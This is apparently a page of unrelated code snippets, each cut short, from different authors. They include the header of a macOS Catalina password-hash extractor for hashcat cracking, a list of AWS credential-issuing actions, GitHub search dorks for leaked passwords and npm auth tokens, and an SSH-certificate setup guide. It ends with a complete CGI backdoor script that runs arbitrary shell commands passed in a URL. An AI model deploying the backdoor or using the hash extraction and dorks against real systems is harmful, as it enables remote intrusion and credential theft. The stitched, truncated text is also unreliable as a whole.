teddziuba

#!/usr/bin/env python3

"""
Mac OSX Catalina User Password Hash Extractor

Extracts a user's password hash as a hashcat-compatible string.

Mac OSX Catalina (10.15) uses a salted SHA-512 PBKDF2 for storing user passwords
(hashcat type 7100), and it's saved in an annoying binary-plist-nested-inside-xml-plist
format, so previously reported methods for extracting the hash don't work.

kmcquade

• chime:CreateApiKey
• codepipeline:PollForJobs
• cognito-identity:GetOpenIdToken
• cognito-identity:GetOpenIdTokenForDeveloperIdentity
• cognito-identity:GetCredentialsForIdentity
• connect:GetFederationToken
• connect:GetFederationTokens
• ecr:GetAuthorizationToken
• [gamelift:RequestUploadCredentials](ht

jhaddix

echo ""
echo "************ Github Dork Links (must be logged in) *******************"
echo ""
echo "  password"
echo "https://github.com/search?q=%22$1%22+password&type=Code"
echo "https://github.com/search?q=%22$without_suffix%22+password&type=Code"
echo ""
echo " npmrc _auth"

cmc

### I use HSM backed SSH certs and so can you. [why?: keys can be stolen, certs expire!]
 
1. Get a YubiHSM2 @ https://www.yubico.com/products/hardware-security-module/
2. Follow this: https://github.com/YubicoLabs/yubihsm-ssh-tool [ Yes, you're going to have to install all the other yubico stuff too, yubico-connector, etc, ..] on your issuing machine, or airgapped machine.
3. Be content that you can now sign certificates with the HSM on the issuer/airgapped machine.
3. Update /etc/ssh/sshd_config on remote server to add:
    TrustedUserCAKeys /etc/ssh/ca.pub
    AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u
4. Add principals here:
    ex:

MarkBaggett

cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi 
python -m http.server --cgi